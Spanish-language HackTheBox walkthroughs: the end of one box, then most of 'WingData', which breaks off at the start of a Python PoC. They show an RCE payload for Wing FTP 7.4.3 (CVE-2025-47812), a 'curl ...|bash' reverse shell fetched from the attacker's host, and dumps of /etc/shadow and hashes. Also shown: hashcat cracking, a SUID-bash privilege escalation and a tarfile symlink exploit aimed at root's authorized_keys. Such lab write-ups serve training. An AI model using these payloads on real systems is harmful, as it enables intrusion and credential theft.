$ cat /etc/systemd/system/syswatch-web.service
[Unit]
Description=SysWatch Web GUI
After=network.target

[Service]
Type=simple
User=syswatch
Group=syswatch
EnvironmentFile=/etc/syswatch.env
WorkingDirectory=/opt/syswatch/syswatch_gui
ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py
Restart=on-failure

[Install]
WantedBy=multi-user.target
$ cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0
$

La base de datos almacena credenciales.

dev_ryan@devarea:/dev/shm/syswatch/syswatch/syswatch_gui$ sqlite3 
sqlite3 
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open syswatch.db
.open syswatch.db
sqlite> .tables
.tables
users
sqlite> select * from users;
select * from users;
1|admin|scrypt:32768:8:1$IyKfiteB3TNFK6Hv$a0fbf5283db6a13859776827133e99d4d5ab43e85bedd05b06119e6fdca096ac81570d4497a836d09a155884182b6442cfcf6986b96310b514f34d9da871cb70
sqlite>

Writable Bash

Linpeas muestra que tenemos permisos de escritura sobre /usr/bin/bash.

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files

# [... skip ...]

/tmp/hsperfdata_dev_ryan
/tmp/hsperfdata_dev_ryan/1456
/tmp/.ICE-unix
/tmp/tmux-1001
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/bin/bash
/var/crash
/var/tmp
/var/www/devarea/assets/css/style.css
/var/www/devarea/index.html

syswatch.sh ejecuta bash mediante #!/bin/bash (/bin es un enlace simbolico a /usr/bin) como root. Con esto, al modificar /usr/bin/bash lograriamos escalar privilegios. Para ello creamos un backup de bash, creamos un script para darle permisos SUID a una copia de bash. El unico problema, bash esta siendo usado por nuestra shell por lo que debemos de cambiar a una shell diferente.

$ env
USER=dev_ryan
SHLVL=2
HOME=/home/dev_ryan
OLDPWD=/home/dev_ryan
SYSTEMD_EXEC_PID=1457
LOGNAME=dev_ryan
JOURNAL_STREAM=8:18967
_=user.txt
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/hoverfly.service/memory.pressure
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
INVOCATION_ID=0296cd4770de49cca5d65b27c345b0be
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/home/dev_ryan
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
$

Obtuvimos nuevamente una shell, esta vez con dash a traves de Hoverfly.

❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.43] from devarea.htb [10.129.14.70] 47426
/bin/dash: 0: can't access tty; job control turned off
$ echo $0
/bin/dash
$

Iniciamos realizando una copia de bash la cual utilizamos en nuestro script. Ejecutamos syswatch.sh como root el cual ejecutaria nuestro script anterior. Ejecutamos bash en modo privilegiado logrando acceso root y la flag root.txt.

$ cp /usr/bin/bash /tmp/backupbash
$ echo "#!/tmp/backupbash\ncp /tmp/backupbash /tmp/rootbsh\n/usr/bin/chmod u+s /tmp/rootbsh" > /usr/bin/bash
$ cat /usr/bin/bash
#!/tmp/backupbash
cp /tmp/backupbash /tmp/rootbsh
/usr/bin/chmod u+s /tmp/rootbsh
$ sudo /opt/syswatch/syswatch.sh --version
$ ls -lah /tmp/rootbsh
-rwsr-xr-x 1 root root 1.4M Apr  4 11:31 /tmp/rootbsh
$ /tmp/rootbsh -p
id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)
cd /root
cat root.txt
1fa0fbe5518f453371c5f9b72004ea2b

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

cat /etc/shadow
root:$y$j9T$0KQ.TnjYkG3YsYKhdzY2I.$lGbupe1hBuVMuNFnjOfL4Oo7kFUTHPv2ocodVgqmdr9:20353:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20352::::::
sshd:!:20352::::::
dev_ryan:$y$j9T$t5/suSaGphAFyqbUrcypA0$bR4iuQ6FFg.uhngaqsLVU6RShFcZK3qdKIm3X7Zuo37:20352:0:99999:7:::
ftp:!:20353::::::
syswatch:!:20434::::::
postfix:!:20434::::::
_laurel:!:20522::::::
dhcpcd:!:20534::::::

More Hashes

Encontramos el hash del usuario admin para la aplicacion Syswatch.

sqlite3
.open syswatch.db
.tables
users
select * from users;
1|admin|scrypt:32768:8:1$GAgktX2W2myS1aNV$e7069af2636e86182c586f6853b8e8c33ccc51a3b140933286398d10daacd540e4cd0979c9c809a646b688d5155e87f7da04074164b70f8584254a2f67ff1fd7

HackTheBox - WingData

sckull — Sat, 27 Jun 2026 00:00:00 +0000

En WingData descubrimos Wing FTP Server en una version vulnerable que permitio el acceso inicial. Los archivos de configuracion para este, permitieron exponer credenciales para un primer usuario. Escalamos privilegios a traves de una vulnerabilidad en TarFile de Python para la escritura de archivos a traves de enlaces simbolicos.

Nombre	WingData
OS	Linux
Puntos	20
Dificultad	Easy
Fecha de Salida	2026-02-14
IP	10.129.2.158
Maker	WackyH4cker
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [66, 81, 231, 122, 53, 14, 9, 2, 4, 7], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

# Nmap 7.95 scan initiated Sat Feb 14 16:26:49 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.2.158
Nmap scan report for 10.129.2.158
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 14 16:27:01 2026 -- 1 IP address (1 host up) scanned in 11.95 seconds

Web Site

El sitio web nos redirige al dominio wingdata.htb el cual agregamos al archivo /etc/hosts.

❯ curl -sI 10.129.2.158
HTTP/1.1 301 Moved Permanently
Date: Sat, 14 Feb 2026 22:28:39 GMT
Server: Apache/2.4.66 (Debian)
Location: http://wingdata.htb/
Content-Type: text/html; charset=iso-8859-1

❯

El sitio expone una descripcion de una solucion para compartir archivos.

Directory Brute Forcing

feroxbuster muestra contenido estatico dle sitio.

❯ feroxbuster -u http://wingdata.htb -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://wingdata.htb/
 🚩  In-Scope Url          │ wingdata.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      151l      333w     3905c http://wingdata.htb/assets/js/templatemo-custom.js
200      GET      186l      505w     4928c http://wingdata.htb/assets/css/owl.css
200      GET      251l     1069w    12492c http://wingdata.htb/index.html
200      GET      193l      571w     5974c http://wingdata.htb/assets/js/animation.js
200      GET       44l      333w    19982c http://wingdata.htb/assets/images/contact-decoration.png
200      GET        4l       64w    23742c http://wingdata.htb/assets/css/fontawesome.css
200      GET      496l     1721w    13281c http://wingdata.htb/assets/js/imagesloaded.js
200      GET      149l      837w    67141c http://wingdata.htb/assets/images/about-left-image.png
200      GET     1577l     3269w    31620c http://wingdata.htb/assets/css/templatemo-space-dynamic.css
200      GET      329l     1996w   148839c http://wingdata.htb/assets/images/banner-right-image.png
200      GET        2l     1283w    86927c http://wingdata.htb/vendor/jquery/jquery.min.js
200      GET     3158l     6952w    76080c http://wingdata.htb/assets/css/animated.css
200      GET     3448l    10094w    93438c http://wingdata.htb/assets/js/owl-carousel.js
200      GET        7l     1002w    80223c http://wingdata.htb/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET    10724l    20204w   204037c http://wingdata.htb/vendor/bootstrap/css/bootstrap.min.css
200      GET      251l     1069w    12492c http://wingdata.htb/
301      GET        9l       29w      353c http://wingdata.htb/assets => http://wingdata.htb/assets/
301      GET        9l       29w      357c http://wingdata.htb/assets/css => http://wingdata.htb/assets/css/
301      GET        9l       29w      359c http://wingdata.htb/assets/fonts => http://wingdata.htb/assets/fonts/
301      GET        9l       29w      360c http://wingdata.htb/assets/images => http://wingdata.htb/assets/images/
301      GET        9l       29w      356c http://wingdata.htb/assets/js => http://wingdata.htb/assets/js/
301      GET        9l       29w      353c http://wingdata.htb/vendor => http://wingdata.htb/vendor/
301      GET        9l       29w      360c http://wingdata.htb/vendor/jquery => http://wingdata.htb/vendor/jquery/
❯

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio ftp.

❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.wingdata.htb" -u http://wingdata.htb -fw 21

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://wingdata.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.wingdata.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 21
________________________________________________

ftp                     [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 136ms]
:: Progress: [151265/151265] :: Job [1/1] :: 555 req/sec :: Duration: [0:05:02] :: Errors: 0 ::
❯

Wing FTP

En el subdominio encontramos el login para Wing FTP Server v7.4.3. Las credenciales anonymous: son aceptadas.

CVE-2025-47812

searchsploit muestra que existe un exploit para una vulnerabilidad que permite la ejecucion remota de comandos.

❯ searchsploit wing ftp 7.4.3
---------------------------------------------------------- ---------------------------------
 Exploit Title                                            |  Path
---------------------------------------------------------- ---------------------------------
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execu | multiple/remote/52347.py
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m multiple/remote/52347.py
  Exploit: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)
      URL: https://www.exploit-db.com/exploits/52347
     Path: /usr/share/exploitdb/exploits/multiple/remote/52347.py
    Codes: CVE-2025-47812
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/wingdata/52347.py


❯

El exploit realiza una inyeccion de codigo Lua al realizar el login.

POST /loginok.html HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Origin: <target>
Connection: keep-alive
Referer: <target>/login.html?lang=english
Cookie: client_lang=english
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=anonymous%00]]%0dlocal+h+%3d+io.popen("<cmd>")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

Al realizar una solicitud a /dir.html se ejecutaria el comando.

GET /dir.html HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: UID=<uid_from_set-cookie>
Upgrade-Insecure-Requests: 1
Priority: u=0, i

El usuario por default a utilizar es anonymous, tras ejecutar el exploit observamos que fue aceptado y se realizo la ejecucion del comando indicado.

❯ python CVE-2025-47812.py
usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
CVE-2025-47812.py: error: Either -u/--url or -f/--file must be specified.
❯ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c id

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'id' and username: 'anonymous'
[+] UID extracted: 3a99e4d2002defd74c101523a2ed6087f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 3a99e4d2002defd74c101523a2ed6087f528764d624db129b32c21fbca0cb8d6

--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
----------------------
❯

User - wingftp

Ejecutamos una shell inversa a traves del exploit.

❯ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c 'curl 10.10.15.60:8000/10.10.15.60:1335|bash' -U anonymous

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'curl 10.10.15.60:8000/10.10.15.60:1335|bash' and username: 'anonymous'
[+] UID extracted: 45e947099b3fbdd7e38d0884d9fd3736f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 45e947099b3fbdd7e38d0884d9fd3736f528764d624db129b32c21fbca0cb8d6

Logrando el acceso como wingftp.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.60] from wingdata.htb [10.129.2.158] 43638
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
wingftp
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
/opt/wftpserver
$

Config Files

En el archivo de configuracion del administrador encontramos el hash.

$ ls -lah _ADMINISTRATOR
total 16K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 14 15:04 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb 14 15:04 ..
-rwxr-x--- 1 wingftp wingftp  511 Feb 14 15:04 admins.xml
-rwxr-x--- 1 wingftp wingftp  372 Nov  2 16:26 settings.xml
$ cat _ADMINISTRATOR/admins.xml
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
    <ADMIN>
        <Admin_Name>admin</Admin_Name>
        <Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
        <Type>0</Type>
        <Readonly>0</Readonly>
        <IsDomainAdmin>0</IsDomainAdmin>
        <DomainList></DomainList>
        <MyDirectory></MyDirectory>
        <EnableTwoFactor>0</EnableTwoFactor>
        <TwoFactorCode></TwoFactorCode>
    </ADMIN>
</ADMIN_ACCOUNTS>
$ pwd
/opt/wftpserver/Data
$

Tambien en los archivos para los usuarios.

$ cat settings.xml | grep ServerPassword
    <ServerPassword>2D35A8D420A697203D7C554A678F8119</ServerPassword>
$ ls -lah 1/users/
total 28K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 14 17:44 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb  9 08:19 ..
-rwxr-x--- 1 wingftp wingftp 2.8K Feb 14 17:44 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2.8K Nov  2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov  2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov  2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov  2 12:28 wacky.xml
$ cat 1/users/*.xml | grep '<Password>' | cut -d '>' -f2 | cut -d '<' -f1
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
$

En configuraciones (settings.xml) para usuarios, encontramos informacion para MySQL, LDAP y, el salt para los hashes de contrasena.

$ ls
groups
portlistener.xml
settings.xml
users
$ cat settings.xml
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">
    # [... cut ...]
    <MYSQL_Address>localhost</MYSQL_Address>
    <MYSQL_Port>3306</MYSQL_Port>
    <MYSQL_Username>root</MYSQL_Username>
    <MYSQL_Password></MYSQL_Password>
    <MYSQL_DatabaseName>wftp_database</MYSQL_DatabaseName>
    # [... cut ...]
    <ADUser_User_Mapping>ADUser001:LocalUser001&#x0A;ADUser002:LocalUser002</ADUser_User_Mapping>
    <LDAP_Enable>0</LDAP_Enable>
    <LDAP_Host>localhost</LDAP_Host>
    <LDAP_Port>389</LDAP_Port>
    <LDAP_UseSSL>0</LDAP_UseSSL>
    <LDAP_BindDN></LDAP_BindDN>
    <LDAP_BindPass></LDAP_BindPass>
    <LDAP_BaseDN></LDAP_BaseDN>
    <LDAP_Filter>(&amp;(objectClass=posixAccount)(uid=%s))</LDAP_Filter>
    # [... cut ...]
    <LDAP_User_Mapping>LDAPUser001:LocalUser001&#x0A;LDAPUser002:LocalUser002</LDAP_User_Mapping>
    <LDAP_Group_Mapping>CN=ADGroup1,CN=Builtin,DC=wftpserver,DC=com:LocalUser1&#x0A;CN=ADGroup2,CN=Builtin,DC=wftpserver,DC=com:LocalUser2</LDAP_Group_Mapping>
    <LDAP_Version>3</LDAP_Version>
    # [... cut ...]>
    <EnableSHA256>1</EnableSHA256>
    # [... cut ...]
    <TLS_Session_Timeout>3600</TLS_Session_Timeout>
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>
    # [... cut ...]
</DOMAIN_OPTION>
$

Agregamos el salt a los hashes encontrados.

$ for h in $(cat 1/users/*.xml | grep '<Password>' | cut -d '>' -f2 | cut -d '<' -f1); do echo "$h:WingFTP"; done;
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:WingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:WingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:WingFTP
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
$

Crack The Hash

Ejecutamos hashcat en modo 1410 para sha256($hash.$salt), este encontro el valor para dos, uno vacio y el otro pertenece a wacky.

PS C:\Users\x\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 1410 ./wftp_hashes.txt ./rockyou.txt
hashcat (v7.1.2) starting

# [... cut ...]

Dictionary cache hit:
* Filename..: ./rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP:
Approaching final keyspace - workload adjusted.

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: ./wftp_hashes.txt
Time.Started.....: Sat Feb 14 17:10:49 2026 (1 sec)
Time.Estimated...: Sat Feb 14 17:10:50 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 26899.6 kH/s (1.81ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 2/5 (40.00%) Digests (total), 2/5 (40.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 0213JR -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 36c Fan:  0% Util: 35% Core:2505MHz Mem:8251MHz Bus:8
# [... cut ...]
PS C:\Users\x\Documents\github\hashcat-7.1.2>

Observamos que las credenciales son aceptadas por SSH.

❯ netexec ssh wingdata.htb -u 'wacky' -p '!#7Blushing^*Bride5'
SSH         10.129.2.158    22     wingdata.htb     [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.129.2.158    22     wingdata.htb     [+] wacky:!#7Blushing^*Bride5 (Pwn3d!) Linux - Shell access!
❯

User - Wacky

Con este par logramos el acceso por ssh y a la flag user.txt.

❯ ssh wacky@wingdata.htb
The authenticity of host 'wingdata.htb (10.129.2.158)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
wacky@wingdata.htb's password: 
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 14 18:12:07 2026 from 10.10.15.60
wacky@wingdata:~$ whoami;id;pwd
wacky
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
/home/wacky
wacky@wingdata:~$ ls
user.txt
wacky@wingdata:~$ cat user.txt 
e41f72e15d68fca0f208d787d361e18d
wacky@wingdata:~$

Privesc

Wacky puede ejecutar como root el script restore_backup_clients.py.

wacky@wingdata:~$ sudo -l -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky@wingdata:~$ file /opt/backup_clients/restore_backup_clients.py
/opt/backup_clients/restore_backup_clients.py: Python script, Unicode text, UTF-8 text executable
wacky@wingdata:~$

Este permite restaurar archivos dentro de un archivo tar a un directorio objetivo.

wacky@wingdata:~$ python3 /opt/backup_clients/restore_backup_clients.py -h
usage: restore_backup_clients.py [-h] -b BACKUP -r RESTORE_DIR

Restore client configuration from a validated backup tarball.

options:
  -h, --help            show this help message and exit
  -b BACKUP, --backup BACKUP
                        Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, where <client_id> is a positive integer, e.g., backup_1001.tar)
  -r RESTORE_DIR, --restore-dir RESTORE_DIR
                        Staging directory name for the restore operation. Must follow the format: restore_<client_user> (e.g., restore_john). Only alphanumeric characters and
                        underscores are allowed in the <client_user> part (1–24 characters).

Example: sudo restore_backup_clients.py -b backup_1001.tar -r restore_john
wacky@wingdata:~$

El script utiliza la libreria tarfile, se espera un archivo backup backup_1001.tar, el archivo se restaura en /opt/backup_clients/restored_backups/<restore_dir_arg>.

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

El usuario tiene acceso a ambos directorios, backups y restored_backups.

wacky@wingdata:~$ ls -ld /opt/backup_clients/restored_backups
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 /opt/backup_clients/restored_backups
wacky@wingdata:~$ ls -ld /opt/backup_clients/backups
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 /opt/backup_clients/backups
wacky@wingdata:~$

CVE-2025-4517

Encontramos el CVE-2025-4517 que afecta a la version de Python de la maquina, esta permite escribir/crear archivos a traves de enlaces simbolicos (symlink) en un archivo tar.

1
2
3

wacky@wingdata:~$ python3 --version
Python 3.12.3
wacky@wingdata:~$

Vemos el uso de tar.extractall en el script.

#!/usr/bin/env python3
import tarfile
# ... cut ...
try:
    with tarfile.open(backup_path, "r") as tar:
        tar.extractall(path=staging_dir, filter="data")
# .. cut ..

Modificamos el PoC para realizar la escritura de nuestra clave publica en el directorio /root en el archivo .ssh/authorized_keys.

import tarfile
import os
import io
import sys

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/opt/backup_clients/backups/backup_1001.tar", mode="x") as tar:
    # populate the symlinks and dirs that expand in os.path.realpath()
    for i in steps:
